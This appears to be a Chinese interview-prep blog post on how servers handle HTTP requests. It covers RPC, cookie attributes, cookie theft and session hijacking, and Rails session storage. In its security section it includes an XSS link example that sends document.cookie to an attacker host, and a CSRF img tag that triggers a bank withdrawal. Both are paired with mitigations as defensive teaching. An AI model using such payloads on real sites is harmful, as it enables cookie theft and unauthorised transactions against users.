马小混

面试总结3 - 用户访问鉴权流程2 - 服务器响应http请求

2019/01/30

面试总结3 - 用户访问鉴权流程 - 服务器响应http请求

上一篇主要讲了http请求

当一个请求到达服务器，服务器该如何响应？这是本篇博客的目的，主要包括：

  • RPC连接以及RPC安全
  • cookie & session
  • cookie攻击
  • http & https

1 服务器响应用户数据的流程

服务器收到用户请求之后，首先对用户的合法性进行校验(ruby访问java鉴权服务)，java返回成功ruby进行逻辑处理。

过程 涉及内容 考点
ruby访问java RPC连接 TCP
攻击java接口 RPC攻击 网络安全
黑客cookie访问 鉴权安全性检验 cookie安全校验

2 RPC

RPC： remote procedure call 远程过程调用：

博客好文

对比http服务理解RPC服务：

1 OSI网络七层模型

实际应用过程只有五层没有7层，五层协议结构里面是没有表示层和会话层的。应该说它们和应用层合并了。

我们应该将重点放在应用层和传输层这两个层面。因为HTTP是应用层协议，而TCP是传输层协议。

2 RPC服务

从三个角度来介绍RPC服务：分别是RPC架构，同步异步调用以及流行的RPC框架。

1 RPC架构

一个完整的RPC架构里面包含了四个核心的组件，分别是Client ,Server,Client Stub以及Server Stub，这个Stub大家可以理解为存根。分别说说这几个组件：

  1. 客户端（Client），服务的调用方。
  2. 服务端（Server），真正的服务提供者。
  3. 客户端存根，存放服务端的地址消息，再将客户端的请求参数打包成网络消息，然后通过网络远程发送给服务方。
  4. 服务端存根，接收客户端发送过来的消息，将消息解包，并调用本地的方法。

rpc

2 流行的RPC框架

  1. gRPC是Google最近公布的开源软件，基于最新的HTTP2.0协议，并支持常见的众多编程语言。 我们知道HTTP2.0是基于二进制的HTTP协议升级版本，目前各大浏览器都在快马加鞭的加以支持。 这个RPC框架是基于HTTP协议实现的，底层使用到了Netty框架的支持。

  2. thrift

  3. dubbo 很少用了，多用HSF（好舒服）

对比HTTP和RPC

  1. RPC基于传输层，速度更快；而http开发迭代比较快
  2. RPC不用每次通信都要像http一样去3次握手什么的，减少了网络开销
  3. RPC有丰富的监控管理

1 RPC连接

如上，TCP协议连接，可以记忆，一次连接多次传输；

2 RPC攻击

设定情况，一个黑客一直调用RPC接口怎么办？

首先黑客攻击是不可能完全规避的，只能提出一些方法去过滤鉴别，而RPC是基于TCP协议的，修补TCP漏洞也是其中一个方向。

数字签名就行

3 cookie攻击

1 cookie的组成

由于http是无状态的协议，一旦客户端和服务器的数据交换完毕，就会断开连接，再次请求，会重新连接，这就说明服务器单从网络连接上是没有办法知道用户身份的。怎么办呢？

那就给每次新的用户请求时，给它颁发一个身份证（独一无二）吧，下次访问，必须带上身份证，这样服务器就会知道是谁来访问了，针对不同用户，做出不同的响应。

这就是Cookie的原理。

其实cookie是一个很小的文本文件，是浏览器储存在用户的机器上的。

Cookie是纯文本，没有可执行代码。储存一些服务器需要的信息，每次请求站点，会发送相应的cookie，这些cookie可以用来辨别用户身份信息等作用。

总结一下，cookie是：

  1. 纯文本文件
  2. 用于鉴别用户身份
  3. 用户首次访问服务器，服务器会返回一个独一无二的识别码(id),这个id就存在cookie里，相当于身份证号。

1 cookie的结果

cookie不止是包括上述的id，客户端会记录服务器返回来的Set-Cookie首部中的cookie内容，而当用户再次访问时，浏览器会将cookie发送出去。

cookie的类型：

可以按照过期时间分为两类：会话cookie和持久cookie，会话cookie是一种临时cookie，用户退出浏览器，会话Cookie就会被删除了，持久cookie则会储存在硬盘里，保留时间更长，关闭浏览器，重启电脑，它依然存在，通常是持久性的cookie会维护某一个用户周期性访问服务器的配置文件或者登录信息。

  持久cookie 设置一个特定的过期时间（Expires）或者有效期（Max-Age）

  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;
cookie的属性：

1、cookie的域

产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie，例如下面：

Set-Cookie: name="wang"; domain="m.zhuanzhuan.58.com"

如果用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="wang", 如果用户访问www.aaa.com（非zhuanzhuan.58.com）就不会发送这个Cookie。

2、 cookie的路径 Path

Path属性可以为服务器特定文档指定Cookie，这个属性设置的url且带有这个前缀的url路径都是有效的。

例如：m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie

Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";

m.zhaunzhuan.58.com/user/ 设置cookie：

Set-cookie：user="wang", domain="m.zhuanzhuan.58.com"; path=/user/

但是访问其他路径m.zhuanzhuan.58.com/other/就会获得

cookie: id="123432"

如果访问m.zhuanzhuan.58.com/user/就会获得

  cookie: id="123432"
  cookie: user="wang"

3、 secure

设置了属性secure，cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的，由于其固有的不安全性，敏感信息也是不应该通过cookie传输的.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;

chrome 52和firefox 52 开始不安全的（HTTP）是无法使用secure的：

总结

1.domain表示的是cookie所在的域，默认为请求的地址，如网址为www.test.com/test/test.aspx，那么domain默认为www.test.com。而跨域访问，如域A为t1.test.com，域B为t2.test.com，那么在域A生产一个令域A和域B都能访问的cookie就要将该cookie的domain设置为.test.com；如果要在域A生产一个令域A不能访问而域B能访问的cookie就要将该cookie的domain设置为t2.test.com。

2.path表示cookie所在的目录，asp.net默认为/，就是根目录。在同一个服务器上有目录如下：/test/,/test/cd/,/test/dd/，现设一个cookie1的path为/test/，cookie2的path为/test/cd/，那么test下的所有页面都可以访问到cookie1，而/test/和/test/dd/的子页面不能访问cookie2。这是因为cookie能让其path路径下的页面访问。

3.浏览器会将domain和path都相同的cookie保存在一个文件里，cookie间用*隔开。

4.含值键值对的cookie：以前一直用的是nam=value单键值对的cookie，一说到含多个子键值对的就蒙了。现在总算弄清楚了。含多个子键值对的cookie格式是name=key1=value1&key2=value2。可以理解为单键值对的值保存一个自定义的多键值字符串，其中的键值对分割符为&，当然可以自定义一个分隔符，但用asp.net获取时是以&为分割符。

2 cookie安全

问题：黑客获取到一套用户的cookies来冒充用户的请求，从服务器的角度，它是没法分辨用户和攻击者的。

攻击方式

  1. 嗅探cookie

    盗取用户cookie，绕过鉴权

  2. cookie喷发

    大量的cookie访问鉴权服务

  3. 篡改cookie

    篡改用户信息

1 几种cookie盗用和会话劫持的例子：

传送门：数字签名 https

1 网络窃听(http未加密)

网络上的流量可以被网络上任何计算机拦截，特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下，攻击者可以读取网络上的其他用户的信息，包含HTTP Cookie的全部内容，以便进行中间的攻击。比如：拦截cookie来冒充用户身份执行恶意任务（银行转账等）。

** 解决办法：服务器可以设置secure属性的cookie，这样就只能通过https的方式来发送cookies了。

2 DNS缓存中毒

如果攻击者可以使DNS缓存中毒，那么攻击者就可以访问用户的Cookie了，例如：攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片，由于 www.demo.com和h123456.www.demo.com是同一个子域，所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上，这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况，通常是网络供应商错误。

3 跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候，就会发生攻击者发布恶意代码攻击用户的会话，同时可以拿到用户的cookie信息。

例子：

<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>
当用户点击这个链接的时候，浏览器就会执行onclick里面的代码，结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

** 解决办法：可以通过cookie的HttpOnly属性，设置了HttpOnly属性，javascript代码将不能操作cookie。

4 跨站请求伪造CSRF

例如，SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素，例如，

<img  src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

如果SanShao的银行将其认证信息保存在cookie中，并且cookie尚未过期，(当然是没有其他验证身份的东西)，那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单，从而在未经SanShao批准的情况下授权交易。

** 解决办法：增加其他信息的校验（手机验证码，或者其他盾牌）。

5 cookie篡改

攻击者修改cookie（网站用户计算机中的个人信息）获得用户未授权信息

为预防cookie篡改，网站在向用户的计算机发送cookie前应该实施一些保护措施（比如通过加密）,当cookie通过平台时，敏感的信息都将被加密。数字签名被创建用来验证发送者和接收者以后通信时的内容，如果内容被篡改，数字签名将和以前的不一样，服务器将拒绝登录。

4 rails cookie&session

关于rails的cookie和session可以参考rails guide。

ruby session

ruby_cookie

这里只是对rails guides cookie&session做一个简单总结。

1 rails cookie&session 存储机制

rails会对每一个用户生成一个session，然后对应一个cookie保存session的会话id。

session的存储机制：

  1. ActionDispatch::Session::CookieStore：所有数据都存储在客户端
  2. ActionDispatch::Session::CacheStore：数据存储在 Rails 缓存里
  3. ActionDispatch::Session::ActiveRecordStore：使用 Active Record 把数据存储在数据库中（需要使用 activerecord-session_store gem）
  4. ActionDispatch::Session::MemCacheStore：数据存储在 Memcached 集群中（这是以前的实现方式，现在应该改用 CacheStore）

其中CookieStore是目前rails默认的，固定大小4kb。

2 访问和安全

rails提供了session和cookies两种方法，懒加载形式定义，可以获取cookie&session。

安全方面：

首先，rails可以通过初始化脚本更改存储方式以及cookie名称，还可以指定domain属性。

其次Rails 为 CookieStore 提供了一个密钥，用于签署会话数据。这个密钥可以在 config/secrets.yml 文件中修改，这样可以加数字签名以及cookie加密。

对rails session&cookie安全见rails 安全


Show Disqus Comments

Post Directory